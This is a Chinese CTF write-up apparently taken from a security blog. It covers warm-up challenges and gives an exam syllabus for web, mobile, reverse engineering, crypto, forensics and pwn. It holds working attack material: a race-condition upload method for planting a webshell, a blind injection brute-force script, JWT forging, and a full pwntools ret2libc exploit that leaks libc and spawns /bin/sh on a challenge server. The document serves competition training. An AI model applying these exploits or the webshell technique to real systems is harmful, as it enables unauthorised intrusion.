从题目上看,该题是考git敏感数据泄漏的,访问http://54.223.83.192:9998/.git/确认存在问题。
使用githack下载该目录,githack建议使用https://github.com/BugScanTeam/GitHack,他会下载git所有信息。
下载完后,查看http://54.223.83.192:9998/.git/logs/HEAD 或者 在下载目录执行 git logs,发现上一个版本添加了flag。将git信息导入sourcetree中,可视化查看得到flag。
从题目上看是速度,应该与速度相关。
登陆后台后,发现上传点,上传图片路径固定:http://54.223.83.192:29551/userdata/img/22/avatar_22.jpg,文件后缀为上传设定的后缀。
后缀限制各种绕过无果,得知提示“上传文件后缀非法,已删除”,猜测言外之意就是文件已经上传成功,后来发现上传文件后缀非法,被程序自动删除。
那么可以上传一个php,访问后会立刻生成一个webshell,通过webshell获取权限。
通过burp构造2个 null playload,一个用于不停的上传图片,另外一个用于不停的访问:http://54.223.83.192:29551/userdata/img/22/avatar_22.php。
通过一段时间的跑,获得flag: flag{fiLe_Up10A$1@68c55b50e70}
该题外有原题,write_up见:https://xz.aliyun.com/t/2456,核心思想就是python语句构造。原有代码修改一下即可得到: flag{2d0cda6f2ee6596838476fb775124d13}
#!/usr/bin/env python3 import requests, re def calc(v1, v2, op, s): u = "http://54.223.83.192:8888/cgi-bin/calculate.py?" payload = dict(value1=v1, value2=v2, op=op, source=s,t=hh) #print payload r = requests.get(u, params=payload) #print r.url res = re.findall("<pre>\n>>>>([\s\S]*)\n>>> <\/pre>", r.content)[0].split('\n')[1] assert (res != 'Invalid') return res == 'True' # print r.content def check(mid): s = flag + chr(mid) return calc(v1, v2, op, s) def bin_search(seq=xrange(0x20, 0x80), lo=0, hi=None): assert (lo >= 0) if hi == None: hi = len(seq) while lo < hi: mid = (lo + hi) // 2 # print lo, mid, hi, "\t", if check(seq[mid]): hi = mid else: lo = mid + 1 return seq[lo] flag = '' v1, v2, op, s ,hh= 'x', "+FLAG<value1+source#", "+'", '',"1a69aa60224a7095ececda5c7c6834fc" while (1): flag += chr(bin_search() - 1) print flag
买一个东西,然后卖出111111111111111111111111111个,让他溢出,然后你就是土豪了,可以随便买买买。
这题脑洞题,看标题jwt,应该是jwt认证。构造包,系统会报错,得到密钥(表问我为什么是在这个地方加token,而不是别的)。
在https://jwt.io/ 通过对应的key计算出hash。
算法必须是HS256,playload 必须为: "admin": "true"。将获取的hash放入token中得到flag,flag{Jw7_15_9000lh4vE_fUN_W17h_17}。
想象力不丰富的人很难做出来。
asicc码
102 102 108 97 103 123 119 101 108 99 48 109 101 95 50 95 67 84 70 45 119 111 114 108 100 125
docx都是zip格式,解压即可得到flag{maybe_docx_is_a_structured_file(s)}
该题为usb协议,报文里面包含除了键盘意外其他操作数据,但是不影响我们分析。
tshark -r ./usb.pcap -T fields -e usb.capdata 获取数据,去掉空白数据。
获取后的数据通过查表得到键盘操作记录,相关代码如下:
#!/usr/bin/env python import sys import os mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." } nums = [] keys = open('1.txt') for line in keys: if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0': continue nums.append(int(line[6:8],16)) keys.close() output = "" for n in nums: if n == 0 : continue if n in mappings: output += mappings[n] else: output += '[unknown]' print 'output :\n' + output
运行得到键盘操作:
[unknown][unknown][unknown][unknown][unknown]BCFGIJGFEDCA[unknown][unknown][unknown][unknown]BACFEDCA[unknown][unknown]7200[DEL]53[DEL]93[unknown][unknown][unknown]
由于密码为6位数字,则flag为:7200[DEL]53[DEL]93 ===》720593。得自己补上flag{}.????
下载解压,发现是exe程序,查壳未加壳。拉入IDA,得到账号:explorer
OD加载程序 ,在密码验证处设置断点。每次运行内存地址不一样,需要自己计算。
得到密码:welcome_to_the_world_of_binary.输入密码 得到:flag{welcome_to_the_world_of_binary}
使用jeb加载程序,根据提示,结束时获取flag{welcome_to_hacker's_game},base64编码的。把分跑满等结束这个姿势是不对的。
所有的write_up官方已给出,详细见:https://pan.baidu.com/s/1MbmqFb6rMcoIdee08rnlWg
关于PWN 还有另外一个溢出点:URI,本文对利用该处的exp做解释。
相关代码由大米(微信号:bigric3_)大拿给出,本人只做部分修改以及添加代码注释 。
本人初学,如有错误请指出。
大家测试前,需要安装GDB-peda插件,pwntools。
pwn组件
pip install pwntools
gdb peda插件
git clone https://github.com/longld/peda.git ~/pedaecho "source ~/peda/peda.py" >> ~/.gdbinit
相关代码解释见下:
from pwn import * local = 1 if local: #context.log_level = 'debug' context.arch = 'i386' context.os = 'linux' #p = process('./anache_server', env={"LD_PRELOAD":"./libc.so.6"}) p = remote('54.223.83.192','31337') libc = ELF('./libc.so.6') #/bin/sh 的地址,用于执行system("/bin/sh"),可以通过010editor搜索字符串得到 binsh = 0x15902b system= libc.symbols['system'] e = ELF('./anache_server') #main函数地址,第一次溢出后,返回该处,便于第二次溢出执行漏洞 vuln_func =0x8048755 write_plt = e.plt['write'] #获取PLT 数据 write_got = e.got['write'] log.info('write@plt: %s',hex(write_plt)) log.info('write@got: %s',hex(write_got)) #gdb.attach(p) #'aaa/'+'a'*0x21c为填充数据,覆盖栈 # p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4)为 #write(1,write_got,4),把write函数的内存地址输出出来,长度为4字节 #x32 函数调用时是由右向左调用,p32(vuln_func)为执行完write函数后的返回地址,详细见call 函数栈数据的变化。 #PLT 与 GOT 的区别可见:https://blog.csdn.net/linyt/article/details/51635768 #GOT在运行时会重定位到glibc的write函数上,从而获取到write函数的内存地址 get_payload = 'aaa/'+'a'*0x21c + p32(write_plt) + p32(vuln_func) + p32(1) + p32(write_got) +p32(0x4) payload = 'GET ' + get_payload + ' HTTP/1.1\\' p.send(payload) p.recvuntil('Permission Denied<h2>') #读取 write函数的内存地址 res = u32(p.recv(4)) #write 的内存地址 = glibc的内存基址 + write函数的文件地址 #故 glibc的内存基址为:泄漏的write函数的内存地址 - write的文件地址 libc_base = res - libc.symbols['write'] log.success('libc base: %s',hex(libc_base)) #根据glibc的内存基址可以算出system的内存地址,从而利用system执行/bin/sh #由于“/bin/sh” 字符串是在glic中查找的,故内存中字符串“/bin/sh” 需要加上glic的地址 binsh_addr = binsh+libc_base system_addr = system+libc_base log.success('binsh addr: %s',hex(binsh_addr)) log.success('system addr: %s',hex(system_addr)) #二次溢出,执行system(“/bin/sh”),返回地址可以随便写,程序挂了也无所谓啦,但是别超过4字节啦。 get_payload = 'b'*0x218 + p32(system_addr) + 'bbbb' + p32(binsh_addr) payload = 'GET ' + get_payload + ' HTTP/1.1\\r' p.send(payload) p.interactive() raw_input('waiting...')
备注:题目形式以及考纲源自于官方,个人考点分析为个人主观推论仅供参考,结论肯定是错误的????。大家查看提取的考纲即可。
本次竞赛题目量为热身赛题量的2倍左右,由于比赛只有4个小时,考试难度应该与热身赛相当。
考试题目与金融业相关业务为背景,内容包含着:网站入侵,恶意病毒清除,勒索软件清理,移动应用破解,日志与流量分析取证,密码保护。其中:
web安全:50%
移动安全:15%
逆向:10%
密码学:10%
取证,隐写,pwn:各占5%
以下为各个方向的考纲:
Web安全
题目形式:
给出web网站,要求选手通过信息收集、挖掘漏洞、利用漏洞获取目标权限或数据。
考纲:
1.OWASP top 10,如sql,xss,文件上传
2.信息泄漏
3.php代码审计
4.java反编译与代码审计
5.业务逻辑问题
6.著名漏洞
考点分析:
1.sql注入,xss 绕过过滤。
2.Java,php代码审计可能与sql,xss联合起来考试
3.著名漏洞可能会考:心脏滴血,struts2,shellshock(官方给的)
所需工具:
sqlmap,SourceLeakHacker,struts,心脏滴血,shellshock利用攻击。
移动安全
题目形式:
给出一个安卓应用,分析出算法,求解正确输入或是 对服务端通信进行分析,实现指定的目标。
考纲:
1.安卓应用流量抓取与分析
2.安卓逆向与调试
3.安卓应用修改
考点分析:
1.初级考点:熟悉安卓java语言逆向,资源文件,备份文件的目录;
2.中级考点:安卓so文件的逆向分析,动态调试;
3.高级考点:安卓应用加壳,ollvm混淆分析(个人感觉不大可能,4个小时anti估计都搞不定)
所需工具:
jeb,jd-gui, GDA
逆向工程
题目形式:
给出一个二进制程序,分析出算法,求解正确输入或是 对其进行patch,完成非预期功能。
考纲:
1.windows软件逆向分析与调试
2.linux软件逆向分析与调试
3.二进制软件修改
考点分析:
应该是常规题,跟热身赛差不多,动静分析应该可以得到答案。如果太难,4个小时不够用。
所需工具:
od,ida, peid
密码学
题目形式:
给出密文和相关信息(如加密代码,加密方式),求明文。
考纲:
1.hash算法
2.分组密码以及加密模式
3.rsa原理以及常见攻击方式
考点分析:
1.hash算法攻击,如:MD5扩展长度攻击(https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html)
2.对称算法攻击,如:CBC反转攻击,ECB攻击(google keyword:ecb attack,)
3.RSA 算法应该是计算明文,考虑到难度系数,可能会给出p,q,n,e等参数;
所需工具:
我也不知道怎么给,网上给的都是小工具,具体网盘会给出。
取证与隐写
题目形式:
给出日志,流量或文件,分析出里面的关键信息或隐藏信息。
考纲:
1.常见的日志分析
2.网络流量抓去与分析
3.常见文件格式
考点分析:
1.常见协议,如:smb,TLS,smtp协议,可能会考wannacry,心脏滴血漏洞,wannacry是利用永恒之蓝漏洞进行攻击,使用的是smb协议漏洞,心脏滴血针对的是https,使用的是tls协议;
2.常见文档,压缩文件格式,比如:execl,rar,pptx等金融常用软件。
3.日志分析估计是找webshell,或者通过日志看哪个位置有漏洞。需要:准备常见的日志分析工具
所需工具:
wireshark, tshark,Stegsolve
PWN
题目形式:
给出一个网络服务二进制,利用其漏洞(通常为内存破坏型漏洞),获取服务器权限
考纲:
1.栈溢出基本原理
2.栈溢出的利用技术
3.linux提供的保护机制
考点分析:
官方都说了基本信息原理了,应该与热身赛难度差不多。感觉应该是一个套路:
1.checksec看保护机制;
2.找到溢出点;
3.获取glibc的地址;
4.远程执行命令。
所需工具:
gdb-peda,ida,od
工具打包下载,工具来源网络,非本人收集整理,请自己查看是否存在后门:
链接: https://pan.baidu.com/s/1ISiXcbAU2UNkdFfAhe6uqw 密码: 7kbe
本文作者:ReadOnly
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/74096.html